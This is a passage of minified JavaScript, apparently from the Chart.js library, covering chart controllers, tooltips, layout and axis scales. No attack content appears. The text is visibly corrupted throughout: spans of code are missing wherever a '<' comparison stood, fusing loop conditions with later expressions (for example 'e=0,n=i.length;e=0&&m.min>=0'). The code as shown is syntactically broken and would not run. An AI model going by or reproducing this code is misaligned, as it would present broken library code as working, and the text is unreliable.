t,e,n=this;it.prototype.initialize.apply(n,arguments),(t=n.getMeta()).stack=n.getDataset().stack,t.bar=!0,e=n._getIndexScale().options,Ct("bar chart",e.barPercentage,"scales.[x/y]Axes.barPercentage","dataset.barPercentage"),Ct("bar chart",e.barThickness,"scales.[x/y]Axes.barThickness","dataset.barThickness"),Ct("bar chart",e.categoryPercentage,"scales.[x/y]Axes.categoryPercentage","dataset.categoryPercentage"),Ct("bar chart",n._getValueScale().options.minBarLength,"scales.[x/y]Axes.minBarLength","dataset.minBarLength"),Ct("bar chart",e.maxBarThickness,"scales.[x/y]Axes.maxBarThickness","dataset.maxBarThickness")},update:function(t){var e,n,i=this.getMeta().data;for(this._ruler=this.getRuler(),e=0,n=i.length;e=0&&m.min>=0?m.min:m.max,x=void 0===m.start?m.end:m.max>=0&&m.min>=0?m.max-m.min:m.min-m.max,_=g.length;if(v||void 0===v&&void 0!==b)for(i=0;i<_&&(a=g[i]).index!==t;++i)a.stack===b&&(r=void 0===(u=h._parseValue(f[a.index].data[e])).start?u.end:u.min>=0&&u.max>=0?u.max:u.min,(m.min<0&&r<0||m.max>=0&&r>0)&&(y+=r));return o=h.getPixelForValue(y),l=(s=h.getPixelForValue(y+x))-o,void 0!==p&&Math.abs(l)=0&&!c||x<0&&c?o-p:o+p),{size:l,base:o,head:s,center:s+l/2}},calculateBarIndexPixels:function(t,e,n,i){var a="flex"===i.barThickness?function(t,e,n){var i,a=e.pixels,r=a[t],o=t>0?a[t-1]:null,s=t=Rt?-Nt:b<-Rt?Nt:0)+p,x=Math.cos(b),_=Math.sin(b),w=Math.cos(y),k=Math.sin(y),M=b<=0&&y>=0||y>=Nt,S=b<=Wt&&y>=Wt||y>=Nt+Wt,D=b<=-Wt&&y>=-Wt||y>=Rt+Wt,C=b===-Rt||y>=Rt?-1:Math.min(x,x*m,w,w*m),P=D?-1:Math.min(_,_*m,k,k*m),T=M?1:Math.max(x,x*m,w,w*m),O=S?1:Math.max(_,_*m,k,k*m);u=(T-C)/2,d=(O-P)/2,h=-(T+C)/2,c=-(O+P)/2}for(i=0,a=g.length;i0&&!isNaN(t)?Nt*(Math.abs(t)/e):0},getMaxBorderWidth:function(t){var e,n,i,a,r,o,s,l,u=0,d=this.chart;if(!t)for(e=0,n=d.data.datasets.length;e(u=s>u?s:u)?l:u);return u},setHoverStyle:function(t){var e=t._model,n=t._options,i=H.getHoverColor;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth},e.backgroundColor=Lt(n.hoverBackgroundColor,i(n.backgroundColor)),e.borderColor=Lt(n.hoverBorderColor,i(n.borderColor)),e.borderWidth=Lt(n.hoverBorderWidth,n.borderWidth)},_getRingWeightOffset:function(t){for(var e=0,n=0;n0&&Ht(l[t-1]._model,s)&&(n.controlPointPreviousX=u(n.controlPointPreviousX,s.left,s.right),n.controlPointPreviousY=u(n.controlPointPreviousY,s.top,s.bottom)),t0&&(r=t.getDatasetMeta(r[0]._datasetIndex).data),r},"x-axis":function(t,e){return ae(t,e,{intersect:!1})},point:function(t,e){return ee(t,Qt(e,t))},nearest:function(t,e,n){var i=Qt(e,t);n.axis=n.axis||"xy";var a=ie(n.axis);return ne(t,i,n.intersect,a)},x:function(t,e,n){var i=Qt(e,t),a=[],r=!1;return te(t,(function(t){t.inXRange(i.x)&&a.push(t),t.inRange(i.x,i.y)&&(r=!0)})),n.intersect&&!r&&(a=[]),a},y:function(t,e,n){var i=Qt(e,t),a=[],r=!1;return te(t,(function(t){t.inYRange(i.y)&&a.push(t),t.inRange(i.x,i.y)&&(r=!0)})),n.intersect&&!r&&(a=[]),a}}},oe=H.extend;function se(t,e){return H.where(t,(function(t){return t.pos===e}))}function le(t,e){return t.sort((function(t,n){var i=e?n:t,a=e?t:n;return i.weight===a.weight?i.index-a.index:i.weight-a.weight}))}function ue(t,e,n,i){return Math.max(t[n],e[n])+Math.max(t[i],e[i])}function de(t,e,n){var i,a,r=n.box,o=t.maxPadding;if(n.size&&(t[n.pos]-=n.size),n.size=n.horizontal?r.height:r.width,t[n.pos]+=n.size,r.getPadding){var s=r.getPadding();o.top=Math.max(o.top,s.top),o.left=Math.max(o.left,s.left),o.bottom=Math.max(o.bottom,s.bottom),o.right=Math.max(o.right,s.right)}if(i=e.outerWidth-ue(o,t,"left","right"),a=e.outerHeight-ue(o,t,"top","bottom"),i!==t.w||a!==t.h)return t.w=i,t.h=a,n.horizontal?i!==t.w:a!==t.h}function he(t,e){var n=e.maxPadding;function i(t){var i={left:0,top:0,right:0,bottom:0};return t.forEach((function(t){i[t]=Math.max(e[t],n[t])})),i}return i(t?["left","right"]:["top","bottom"])}function ce(t,e,n){var i,a,r,o,s,l,u=[];for(i=0,a=t.length;idiv{position:absolute;width:1000000px;height:1000000px;left:0;top:0}.chartjs-size-monitor-shrink>div{position:absolute;width:200%;height:200%;left:0;top:0}"}))&&ge.default||ge,ve="$chartjs",be="chartjs-size-monitor",ye="chartjs-render-monitor",xe="chartjs-render-animation",_e=["animationstart","webkitAnimationStart"],we={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"};function ke(t,e){var n=H.getStyle(t,e),i=n&&n.match(/^(\d+)(\.\d+)?px$/);return i?Number(i[1]):void 0}var Me=!!function(){var t=!1;try{var e=Object.defineProperty({},"passive",{get:function(){t=!0}});window.addEventListener("e",null,e)}catch(t){}return t}()&&{passive:!0};function Se(t,e,n){t.addEventListener(e,n,Me)}function De(t,e,n){t.removeEventListener(e,n,Me)}function Ce(t,e,n,i,a){return{type:t,chart:e,native:a||null,x:void 0!==n?n:null,y:void 0!==i?i:null}}function Pe(t){var e=document.createElement("div");return e.className=t||"",e}function Te(t,e,n){var i,a,r,o,s=t[ve]||(t[ve]={}),l=s.resizer=function(t){var e=Pe(be),n=Pe(be+"-expand"),i=Pe(be+"-shrink");n.appendChild(Pe()),i.appendChild(Pe()),e.appendChild(n),e.appendChild(i),e._reset=function(){n.scrollLeft=1e6,n.scrollTop=1e6,i.scrollLeft=1e6,i.scrollTop=1e6};var a=function(){e._reset(),t()};return Se(n,"scroll",a.bind(n,"expand")),Se(i,"scroll",a.bind(i,"shrink")),e}((i=function(){if(s.resizer){var i=n.options.maintainAspectRatio&&t.parentNode,a=i?i.clientWidth:0;e(Ce("resize",n)),i&&i.clientWidth0){var r=t[0];r.label?n=r.label:r.xLabel?n=r.xLabel:a>0&&r.index-1?t.split("\n"):t}function Ve(t){var e=W.global;return{xPadding:t.xPadding,yPadding:t.yPadding,xAlign:t.xAlign,yAlign:t.yAlign,rtl:t.rtl,textDirection:t.textDirection,bodyFontColor:t.bodyFontColor,_bodyFontFamily:Ne(t.bodyFontFamily,e.defaultFontFamily),_bodyFontStyle:Ne(t.bodyFontStyle,e.defaultFontStyle),_bodyAlign:t.bodyAlign,bodyFontSize:Ne(t.bodyFontSize,e.defaultFontSize),bodySpacing:t.bodySpacing,titleFontColor:t.titleFontColor,_titleFontFamily:Ne(t.titleFontFamily,e.defaultFontFamily),_titleFontStyle:Ne(t.titleFontStyle,e.defaultFontStyle),titleFontSize:Ne(t.titleFontSize,e.defaultFontSize),_titleAlign:t.titleAlign,titleSpacing:t.titleSpacing,titleMarginBottom:t.titleMarginBottom,footerFontColor:t.footerFontColor,_footerFontFamily:Ne(t.footerFontFamily,e.defaultFontFamily),_footerFontStyle:Ne(t.footerFontStyle,e.defaultFontStyle),footerFontSize:Ne(t.footerFontSize,e.defaultFontSize),_footerAlign:t.footerAlign,footerSpacing:t.footerSpacing,footerMarginTop:t.footerMarginTop,caretSize:t.caretSize,cornerRadius:t.cornerRadius,backgroundColor:t.backgroundColor,opacity:0,legendColorBackground:t.multiKeyBackground,displayColors:t.displayColors,borderColor:t.borderColor,borderWidth:t.borderWidth}}function He(t,e){return"center"===e?t.x+t.width/2:"right"===e?t.x+t.width-t.xPadding:t.x+t.xPadding}function Be(t){return ze([],Ee(t))}var je=$.extend({initialize:function(){this._model=Ve(this._options),this._lastActive=[]},getTitle:function(){var t=this,e=t._options,n=e.callbacks,i=n.beforeTitle.apply(t,arguments),a=n.title.apply(t,arguments),r=n.afterTitle.apply(t,arguments),o=[];return o=ze(o,Ee(i)),o=ze(o,Ee(a)),o=ze(o,Ee(r))},getBeforeBody:function(){return Be(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(t,e){var n=this,i=n._options.callbacks,a=[];return H.each(t,(function(t){var r={before:[],lines:[],after:[]};ze(r.before,Ee(i.beforeLabel.call(n,t,e))),ze(r.lines,i.label.call(n,t,e)),ze(r.after,Ee(i.afterLabel.call(n,t,e))),a.push(r)})),a},getAfterBody:function(){return Be(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var t=this,e=t._options.callbacks,n=e.beforeFooter.apply(t,arguments),i=e.footer.apply(t,arguments),a=e.afterFooter.apply(t,arguments),r=[];return r=ze(r,Ee(n)),r=ze(r,Ee(i)),r=ze(r,Ee(a))},update:function(t){var e,n,i,a,r,o,s,l,u,d,h=this,c=h._options,f=h._model,g=h._model=Ve(c),m=h._active,p=h._data,v={xAlign:f.xAlign,yAlign:f.yAlign},b={x:f.x,y:f.y},y={width:f.width,height:f.height},x={x:f.caretX,y:f.caretY};if(m.length){g.opacity=1;var _=[],w=[];x=Ye[c.position].call(h,m,h._eventPosition);var k=[];for(e=0,n=m.length;ei.width&&(a=i.width-e.width),a<0&&(a=0)),"top"===d?r+=h:r-="bottom"===d?e.height+h:e.height/2,"center"===d?"left"===u?a+=h:"right"===u&&(a-=h):"left"===u?a-=c:"right"===u&&(a+=c),{x:a,y:r}}(g,y,v=function(t,e){var n,i,a,r,o,s=t._model,l=t._chart,u=t._chart.chartArea,d="center",h="center";s.yl.height-e.height&&(h="bottom");var c=(u.left+u.right)/2,f=(u.top+u.bottom)/2;"center"===h?(n=function(t){return t<=c},i=function(t){return t>c}):(n=function(t){return t<=e.width/2},i=function(t){return t>=l.width-e.width/2}),a=function(t){return t+e.width+s.caretSize+s.caretPadding>l.width},r=function(t){return t-e.width-s.caretSize-s.caretPadding<0},o=function(t){return t<=f?"top":"bottom"},n(s.x)?(d="left",a(s.x)&&(d="center",h=o(s.y))):i(s.x)&&(d="right",r(s.x)&&(d="center",h=o(s.y)));var g=t._options;return{xAlign:g.xAlign?g.xAlign:d,yAlign:g.yAlign?g.yAlign:h}}(this,y),h._chart)}else g.opacity=0;return g.xAlign=v.xAlign,g.yAlign=v.yAlign,g.x=b.x,g.y=b.y,g.width=y.width,g.height=y.height,g.caretX=x.x,g.caretY=x.y,h._model=g,t&&c.custom&&c.custom.call(h,g),h},drawCaret:function(t,e){var n=this._chart.ctx,i=this._view,a=this.getCaretPosition(t,e,i);n.lineTo(a.x1,a.y1),n.lineTo(a.x2,a.y2),n.lineTo(a.x3,a.y3)},getCaretPosition:function(t,e,n){var i,a,r,o,s,l,u=n.caretSize,d=n.cornerRadius,h=n.xAlign,c=n.yAlign,f=t.x,g=t.y,m=e.width,p=e.height;if("center"===c)s=g+p/2,"left"===h?(a=(i=f)-u,r=i,o=s+u,l=s-u):(a=(i=f+m)+u,r=i,o=s-u,l=s+u);else if("left"===h?(i=(a=f+d+u)-u,r=a+u):"right"===h?(i=(a=f+m-d-u)-u,r=a+u):(i=(a=n.caretX)-u,r=a+u),"top"===c)s=(o=g)-u,l=o;else{s=(o=g+p)+u,l=o;var v=r;r=i,i=v}return{x1:i,x2:a,x3:r,y1:o,y2:s,y3:l}},drawTitle:function(t,e,n){var i,a,r,o=e.title,s=o.length;if(s){var l=We(e.rtl,e.x,e.width);for(t.x=He(e,e._titleAlign),n.textAlign=l.textAlign(e._titleAlign),n.textBaseline="middle",i=e.titleFontSize,a=e.titleSpacing,n.fillStyle=e.titleFontColor,n.font=H.fontString(i,e._titleFontStyle,e._titleFontFamily),r=0;r0&&n.stroke()},draw:function(){var t=this._chart.ctx,e=this._view;if(0!==e.opacity){var n={width:e.width,height:e.height},i={x:e.x,y:e.y},a=Math.abs(e.opacity<.001)?0:e.opacity,r=e.title.length||e.beforeBody.length||e.body.length||e.afterBody.length||e.footer.length;this._options.enabled&&r&&(t.save(),t.globalAlpha=a,this.drawBackground(i,e,t,n),i.y+=e.yPadding,H.rtl.overrideTextDirection(t,e.textDirection),this.drawTitle(i,e,t),this.drawBody(i,e,t),this.drawFooter(i,e,t),H.rtl.restoreTextDirection(t,e.textDirection),t.restore())}},handleEvent:function(t){var e,n=this,i=n._options;return n._lastActive=n._lastActive||[],"mouseout"===t.type?n._active=[]:(n._active=n._chart.getElementsAtEventForMode(t,i.mode,i),i.reverse&&n._active.reverse()),(e=!H.arrayEquals(n._active,n._lastActive))&&(n._lastActive=n._active,(i.enabled||i.custom)&&(n._eventPosition={x:t.x,y:t.y},n.update(!0),n.pivot())),e}}),Ue=Ye,Ge=je;Ge.positioners=Ue;var qe=H.valueOrDefault;function Ze(){return H.merge({},[].slice.call(arguments),{merger:function(t,e,n,i){if("xAxes"===t||"yAxes"===t){var a,r,o,s=n[t].length;for(e[t]||(e[t]=[]),a=0;a=e[t].length&&e[t].push({}),!e[t][a].type||o.type&&o.type!==e[t][a].type?H.merge(e[t][a],[Re.getScaleDefaults(r),o]):H.merge(e[t][a],o)}else H._merger(t,e,n,i)}})}function $e(){return H.merge({},[].slice.call(arguments),{merger:function(t,e,n,i){var a=e[t]||{},r=n[t];"scales"===t?e[t]=Ze(a,r):"scale"===t?e[t]=H.merge(a,[Re.getScaleDefaults(r.type),r]):H._merger(t,e,n,i)}})}function Xe(t){var e=t.options;H.each(t.scales,(function(e){me.removeBox(t,e)})),e=$e(W.global,W[t.config.type],e),t.options=t.config.options=e,t.ensureScalesHaveIDs(),t.buildOrUpdateScales(),t.tooltip._options=e.tooltips,t.tooltip.initialize()}function Ke(t,e,n){var i,a=function(t){return t.id===i};do{i=e+n++}while(H.findIndex(t,a)>=0);return i}function Je(t){return"top"===t||"bottom"===t}function Qe(t,e){return function(n,i){return n[t]===i[t]?n[e]-i[e]:n[t]-i[t]}}W._set("global",{elements:{},events:["mousemove","mouseout","click","touchstart","touchmove"],hover:{onHover:null,mode:"nearest",intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var tn=function(t,e){return this.construct(t,e),this};H.extend(tn.prototype,{construct:function(t,e){var n=this;e=function(t){var e=(t=t||{}).data=t.data||{};return e.datasets=e.datasets||[],e.labels=e.labels||[],t.options=$e(W.global,W[t.type],t.options||{}),t}(e);var i=Ie.acquireContext(t,e),a=i&&i.canvas,r=a&&a.height,o=a&&a.width;n.id=H.uid(),n.ctx=i,n.canvas=a,n.config=e,n.width=o,n.height=r,n.aspectRatio=r?o/r:null,n.options=e.options,n._bufferedRender=!1,n._layers=[],n.chart=n,n.controller=n,tn.instances[n.id]=n,Object.defineProperty(n,"data",{get:function(){return n.config.data},set:function(t){n.config.data=t}}),i&&a?(n.initialize(),n.update()):console.error("Failed to create chart: can't acquire context from the given item")},initialize:function(){var t=this;return Le.notify(t,"beforeInit"),H.retinaScale(t,t.options.devicePixelRatio),t.bindEvents(),t.options.responsive&&t.resize(!0),t.initToolTip(),Le.notify(t,"afterInit"),t},clear:function(){return H.canvas.clear(this),this},stop:function(){return J.cancelAnimation(this),this},resize:function(t){var e=this,n=e.options,i=e.canvas,a=n.maintainAspectRatio&&e.aspectRatio||null,r=Math.max(0,Math.floor(H.getMaximumWidth(i))),o=Math.max(0,Math.floor(a?r/a:H.getMaximumHeight(i)));if((e.width!==r||e.height!==o)&&(i.width=e.width=r,i.height=e.height=o,i.style.width=r+"px",i.style.height=o+"px",H.retinaScale(e,n.devicePixelRatio),!t)){var s={width:r,height:o};Le.notify(e,"resize",[s]),n.onResize&&n.onResize(e,s),e.stop(),e.update({duration:n.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var t=this.options,e=t.scales||{},n=t.scale;H.each(e.xAxes,(function(t,n){t.id||(t.id=Ke(e.xAxes,"x-axis-",n))})),H.each(e.yAxes,(function(t,n){t.id||(t.id=Ke(e.yAxes,"y-axis-",n))})),n&&(n.id=n.id||"scale")},buildOrUpdateScales:function(){var t=this,e=t.options,n=t.scales||{},i=[],a=Object.keys(n).reduce((function(t,e){return t[e]=!1,t}),{});e.scales&&(i=i.concat((e.scales.xAxes||[]).map((function(t){return{options:t,dtype:"category",dposition:"bottom"}})),(e.scales.yAxes||[]).map((function(t){return{options:t,dtype:"linear",dposition:"left"}})))),e.scale&&i.push({options:e.scale,dtype:"radialLinear",isDefault:!0,dposition:"chartArea"}),H.each(i,(function(e){var i=e.options,r=i.id,o=qe(i.type,e.dtype);Je(i.position)!==Je(e.dposition)&&(i.position=e.dposition),a[r]=!0;var s=null;if(r in n&&n[r].type===o)(s=n[r]).options=i,s.ctx=t.ctx,s.chart=t;else{var l=Re.getScaleConstructor(o);if(!l)return;s=new l({id:r,type:o,options:i,ctx:t.ctx,chart:t}),n[s.id]=s}s.mergeTicksOptions(),e.isDefault&&(t.scale=s)})),H.each(a,(function(t,e){t||delete n[e]})),t.scales=n,Re.addScalesToLayout(this)},buildOrUpdateControllers:function(){var t,e,n=this,i=[],a=n.data.datasets;for(t=0,e=a.length;t=0;--n)this.drawDataset(e[n],t);Le.notify(this,"afterDatasetsDraw",[t])}},drawDataset:function(t,e){var n={meta:t,index:t.index,easingValue:e};!1!==Le.notify(this,"beforeDatasetDraw",[n])&&(t.controller.draw(e),Le.notify(this,"afterDatasetDraw",[n]))},_drawTooltip:function(t){var e=this.tooltip,n={tooltip:e,easingValue:t};!1!==Le.notify(this,"beforeTooltipDraw",[n])&&(e.draw(),Le.notify(this,"afterTooltipDraw",[n]))},getElementAtEvent:function(t){return re.modes.single(this,t)},getElementsAtEvent:function(t){return re.modes.label(this,t,{intersect:!0})},getElementsAtXAxis:function(t){return re.modes["x-axis"](this,t,{intersect:!0})},getElementsAtEventForMode:function(t,e,n){var i=re.modes[e];return"function"==typeof i?i(this,t,n):[]},getDatasetAtEvent:function(t){return re.modes.dataset(this,t,{intersect:!0})},getDatasetMeta:function(t){var e=this.data.datasets[t];e._meta||(e._meta={});var n=e._meta[this.id];return n||(n=e._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:e.order||0,index:t}),n},getVisibleDatasetCount:function(){for(var t=0,e=0,n=this.data.datasets.length;e3?n[2]-n[1]:n[1]-n[0];Math.abs(i)>1&&t!==Math.floor(t)&&(i=t-Math.floor(t));var a=H.log10(Math.abs(i)),r="";if(0!==t)if(Math.max(Math.abs(n[0]),Math.abs(n[n.length-1]))<1e-4){var o=H.log10(Math.abs(t)),s=Math.floor(o)-Math.floor(a);s=Math.max(Math.min(s,20),0),r=t.toExponential(s)}else{var l=-1*Math.floor(a);l=Math.max(Math.min(l,20),0),r=t.toFixed(l)}else r="0";return r},logarithmic:function(t,e,n){var i=t/Math.pow(10,Math.floor(H.log10(t)));return 0===t?"0":1===i||2===i||5===i||0===e||e===n.length-1?t.toExponential():""}}},sn=H.isArray,ln=H.isNullOrUndef,un=H.valueOrDefault,dn=H.valueAtIndexOrDefault;function hn(t,e,n){var i,a=t.getTicks().length,r=Math.min(e,a-1),o=t.getPixelForTick(r),s=t._startPixel,l=t._endPixel;if(!(n&&(i=1===a?Math.max(o-s,l-o):0===e?(t.getPixelForTick(1)-o)/2:(o-t.getPixelForTick(r-1))/2,(o+=rl+1e-6)))return o}function cn(t,e,n,i){var a,r,o,s,l,u,d,h,c,f,g,m,p,v=n.length,b=[],y=[],x=[];for(a=0;ae){for(n=0;n=c||d<=1||!s.isHorizontal()?s.labelRotation=h:(e=(t=s._getLabelSizes()).widest.width,n=t.highest.height-t.highest.offset,i=Math.min(s.maxWidth,s.chart.width-e),e+6>(a=l.offset?s.maxWidth/d:i/(d-1))&&(a=i/(d-(l.offset?.5:1)),r=s.maxHeight-fn(l.gridLines)-u.padding-gn(l.scaleLabel),o=Math.sqrt(e*e+n*n),f=H.toDegrees(Math.min(Math.asin(Math.min((t.highest.height+6)/a,1)),Math.asin(Math.min(r/o,1))-Math.asin(n/o))),f=Math.max(h,Math.min(c,f))),s.labelRotation=f)},afterCalculateTickRotation:function(){H.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){H.callback(this.options.beforeFit,[this])},fit:function(){var t=this,e=t.minSize={width:0,height:0},n=t.chart,i=t.options,a=i.ticks,r=i.scaleLabel,o=i.gridLines,s=t._isVisible(),l="bottom"===i.position,u=t.isHorizontal();if(u?e.width=t.maxWidth:s&&(e.width=fn(o)+gn(r)),u?s&&(e.height=fn(o)+gn(r)):e.height=t.maxHeight,a.display&&s){var d=pn(a),h=t._getLabelSizes(),c=h.first,f=h.last,g=h.widest,m=h.highest,p=.4*d.minor.lineHeight,v=a.padding;if(u){var b=0!==t.labelRotation,y=H.toRadians(t.labelRotation),x=Math.cos(y),_=Math.sin(y),w=_*g.width+x*(m.height-(b?m.offset:0))+(b?0:p);e.height=Math.min(t.maxHeight,e.height+w+v);var k,M,S=t.getPixelForTick(0)-t.left,D=t.right-t.getPixelForTick(t.getTicks().length-1);b?(k=l?x*c.width+_*c.offset:_*(c.height-c.offset),M=l?_*(f.height-f.offset):x*f.width+_*f.offset):(k=c.width/2,M=f.width/2),t.paddingLeft=Math.max((k-S)*t.width/(t.width-S),0)+3,t.paddingRight=Math.max((M-D)*t.width/(t.width-D),0)+3}else{var C=a.mirror?0:g.width+v+p;e.width=Math.min(t.maxWidth,e.width+C),t.paddingTop=c.height/2,t.paddingBottom=f.height/2}}t.handleMargins(),u?(t.width=t._length=n.width-t.margins.left-t.margins.right,t.height=e.height):(t.width=e.width,t.height=t._length=n.height-t.margins.top-t.margins.bottom)},handleMargins:function(){var t=this;t.margins&&(t.margins.left=Math.max(t.paddingLeft,t.margins.left),t.margins.top=Math.max(t.paddingTop,t.margins.top),t.margins.right=Math.max(t.paddingRight,t.margins.right),t.margins.bottom=Math.max(t.paddingBottom,t.margins.bottom))},afterFit:function(){H.callback(this.options.afterFit,[this])},isHorizontal:function(){var t=this.options.position;return"top"===t||"bottom"===t},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(t){if(ln(t))return NaN;if(("number"==typeof t||t instanceof Number)&&!isFinite(t))return NaN;if(t)if(this.isHorizontal()){if(void 0!==t.x)return this.getRightValue(t.x)}else if(void 0!==t.y)return this.getRightValue(t.y);return t},_convertTicksToLabels:function(t){var e,n,i,a=this;for(a.ticks=t.map((function(t){return t.value})),a.beforeTickToLabelConversion(),e=a.convertTicksToLabels(t)||a.ticks,a.afterTickToLabelConversion(),n=0,i=t.length;nn-1?null:this.getPixelForDecimal(t*i+(e?i/2:0))},getPixelForDecimal:function(t){return this._reversePixels&&(t=1-t),this._startPixel+t*this._length},getDecimalForPixel:function(t){var e=(t-this._startPixel)/this._length;return this._reversePixels?1-e:e},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var t=this.min,e=this.max;return this.beginAtZero?0:t<0&&e<0?e:t>0&&e>0?t:0},_autoSkip:function(t){var e,n,i,a,r=this.options.ticks,o=this._length,s=r.maxTicksLimit||o/this._tickSize()+1,l=r.major.enabled?function(t){var e,n,i=[];for(e=0,n=t.length;es)return function(t,e,n){var i,a,r=0,o=e[0];for(n=Math.ceil(n),i=0;iu)return r;return Math.max(u,1)}(l,t,0,s),u>0){for(e=0,n=u-1;e1?(h-d)/(u-1):null,bn(t,i,H.isNullOrUndef(a)?0:d-a,d),bn(t,i,h,H.isNullOrUndef(a)?t.length:h+a),vn(t)}return bn(t,i),vn(t)},_tickSize:function(){var t=this.options.ticks,e=H.toRadians(this.labelRotation),n=Math.abs(Math.cos(e)),i=Math.abs(Math.sin(e)),a=this._getLabelSizes(),r=t.autoSkipPadding||0,o=a?a.widest.width+r:0,s=a?a.highest.height+r:0;return this.isHorizontal()?s*n>o*i?o/n:s/i:s*i=0&&(o=t),void 0!==r&&(t=n.indexOf(r))>=0&&(s=t),e.minIndex=o,e.maxIndex=s,e.min=n[o],e.max=n[s]},buildTicks:function(){var t=this._getLabels(),e=this.minIndex,n=this.maxIndex;this.ticks=0===e&&n===t.length-1?t:t.slice(e,n+1)},getLabelForIndex:function(t,e){var n=this.chart;return n.getDatasetMeta(e).controller._getValueScaleId()===this.id?this.getRightValue(n.data.datasets[e].data[t]):this._getLabels()[t]},_configure:function(){var t=this,e=t.options.offset,n=t.ticks;xn.prototype._configure.call(t),t.isHorizontal()||(t._reversePixels=!t._reversePixels),n&&(t._startValue=t.minIndex-(e?.5:0),t._valueRange=Math.max(n.length-(e?0:1),1))},getPixelForValue:function(t,e,n){var i,a,r,o=this;return _n(e)||_n(n)||(t=o.chart.data.datasets[n].data[e]),_n(t)||(i=o.isHorizontal()?t.x:t.y),(void 0!==i||void 0!==t&&isNaN(e))&&(a=o._getLabels(),t=H.valueOrDefault(i,t),e=-1!==(r=a.indexOf(t))?r:e,isNaN(e)&&(e=t)),o.getPixelForDecimal((e-o._startValue)/o._valueRange)},getPixelForTick:function(t){var e=this.ticks;return t<0||t>e.length-1?null:this.getPixelForValue(e[t],t+this.minIndex)},getValueForPixel:function(t){var e=Math.round(this._startValue+this.getDecimalForPixel(t)*this._valueRange);return Math.min(Math.max(e,0),this.ticks.length-1)},getBasePixel:function(){return this.bottom}}),kn={position:"bottom"};wn._defaults=kn;var Mn=H.noop,Sn=H.isNullOrUndef;var Dn=xn.extend({getRightValue:function(t){return"string"==typeof t?+t:xn.prototype.getRightValue.call(this,t)},handleTickRangeOptions:function(){var t=this,e=t.options.ticks;if(e.beginAtZero){var n=H.sign(t.min),i=H.sign(t.max);n<0&&i<0?t.max=0:n>0&&i>0&&(t.min=0)}var a=void 0!==e.min||void 0!==e.suggestedMin,r=void 0!==e.max||void 0!==e.suggestedMax;void 0!==e.min?t.min=e.min:void 0!==e.suggestedMin&&(null===t.min?t.min=e.suggestedMin:t.min=Math.min(t.min,e.suggestedMin)),void 0!==e.max?t.max=e.max:void 0!==e.suggestedMax&&(null===t.max?t.max=e.suggestedMax:t.max=Math.max(t.max,e.suggestedMax)),a!==r&&t.min>=t.max&&(a?t.max=t.min+1:t.min=t.max-1),t.min===t.max&&(t.max++,e.beginAtZero||t.min--)},getTickLimit:function(){var t,e=this.options.ticks,n=e.stepSize,i=e.maxTicksLimit;return n?t=Math.ceil(this.max/n)-Math.floor(this.min/n)+1:(t=this._computeTickLimit(),i=i||11),i&&(t=Math.min(i,t)),t},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:Mn,buildTicks:function(){var t=this,e=t.options.ticks,n=t.getTickLimit(),i={maxTicks:n=Math.max(2,n),min:e.min,max:e.max,precision:e.precision,stepSize:H.valueOrDefault(e.fixedStepSize,e.stepSize)},a=t.ticks=function(t,e){var n,i,a,r,o=[],s=t.stepSize,l=s||1,u=t.maxTicks-1,d=t.min,h=t.max,c=t.precision,f=e.min,g=e.max,m=H.niceNum((g-f)/u/l)*l;if(m<1e-14&&Sn(d)&&Sn(h))return[f,g];(r=Math.ceil(g/m)-Math.floor(f/m))>u&&(m=H.niceNum(r*m/u/l)*l),s||Sn(c)?n=Math.pow(10,H._decimalPlaces(m)):(n=Math.pow(10,c),m=Math.ceil(m*n)/n),i=Math.floor(f/m)*m,a=Math.ceil(g/m)*m,s&&(!Sn(d)&&H.almostWhole(d/m,m/1e3)&&(i=d),!Sn(h)&&H.almostWhole(h/m,m/1e3)&&(a=h)),r=(a-i)/m,r=H.almostEquals(r,Math.round(r),m/1e3)?Math.round(r):Math.ceil(r),i=Math.round(i*n)/n,a=Math.round(a*n)/n,o.push(Sn(d)?i:d);for(var p=1;pe.length-1?null:this.getPixelForValue(e[t])}}),An=Cn;On._defaults=An;var Fn=H.valueOrDefault,In=H.math.log10;var Ln={position:"left",ticks:{callback:on.formatters.logarithmic}};function Rn(t,e){return H.isFinite(t)&&t>=0?t:e}var Nn=xn.extend({determineDataLimits:function(){var t,e,n,i,a,r,o=this,s=o.options,l=o.chart,u=l.data.datasets,d=o.isHorizontal();function h(t){return d?t.xAxisID===o.id:t.yAxisID===o.id}o.min=Number.POSITIVE_INFINITY,o.max=Number.NEGATIVE_INFINITY,o.minNotZero=Number.POSITIVE_INFINITY;var c=s.stacked;if(void 0===c)for(t=0;t0){var e=H.min(t),n=H.max(t);o.min=Math.min(o.min,e),o.max=Math.max(o.max,n)}}))}else for(t=0;t0?t.minNotZero=t.min:t.max<1?t.minNotZero=Math.pow(10,Math.floor(In(t.max))):t.minNotZero=1)},buildTicks:function(){var t=this,e=t.options.ticks,n=!t.isHorizontal(),i={min:Rn(e.min),max:Rn(e.max)},a=t.ticks=function(t,e){var n,i,a=[],r=Fn(t.min,Math.pow(10,Math.floor(In(e.min)))),o=Math.floor(In(e.max)),s=Math.ceil(e.max/Math.pow(10,o));0===r?(n=Math.floor(In(e.minNotZero)),i=Math.floor(e.minNotZero/Math.pow(10,n)),a.push(r),r=i*Math.pow(10,n)):(n=Math.floor(In(r)),i=Math.floor(r/Math.pow(10,n)));var l=n<0?Math.pow(10,Math.abs(n)):1;do{a.push(r),10===++i&&(i=1,l=++n>=0?1:l),r=Math.round(i*Math.pow(10,n)*l)/l}while(ne.length-1?null:this.getPixelForValue(e[t])},_getFirstTickValue:function(t){var e=Math.floor(In(t));return Math.floor(t/Math.pow(10,e))*Math.pow(10,e)},_configure:function(){var 